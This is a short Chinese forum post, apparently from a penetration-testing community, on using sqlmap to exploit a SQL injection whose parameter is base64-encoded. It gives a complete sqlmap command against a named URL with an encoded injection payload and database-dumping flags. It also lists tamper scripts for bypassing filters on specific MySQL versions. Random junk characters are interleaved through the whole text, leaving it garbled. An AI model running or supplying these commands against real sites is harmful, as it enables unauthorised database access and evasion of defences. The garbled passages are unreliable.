| WVS扫某站就出来一个SQL Injection,参数还是base64编码的,手工注入麻烦一步,用sqlmap怎么自动注射呢?, J& C$ `: j: ]5 ~; w 2 D. i9 c1 y$ C2 K: q sqlmap的tamper里有个base64encode.py 使用如下 # `+ ?. l! s* j# @, V sqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs9 j1 e% K ]5 L; F5 O) @ sqlmap拥有很多功能强力的插件,插件的使用方法: -- tamper “插件名称”- a4 @% q8 h5 k6 q: ~6 S 其中常用到的bypass脚本绕过SQLMAP主要两个脚本: 3 T% ]1 c F# } space2hash.py ,对于MYSQL数据库 4.0, 5.0注入 space2morehash.py ,对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入- q' e3 V: P5 h: m1 [5 R$ X- ? 首先确定目标数据库版本,然后选择相应的脚本。: y2 p) u: @& \( s. U, M1 y N; k -v 3 --batch --tamper "space2hash.py" " F3 X: q$ f( U) O* u+ U+ b8 q 还有其他一些插件:1 K1 O* n( c( t/ `1 t encodes编码 ——charencode.py' ] v" X9 H% H" M base64编码 —— base64encode.py 替换空格和关键字 —— halfversionedmorekeywords.py |
| 欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |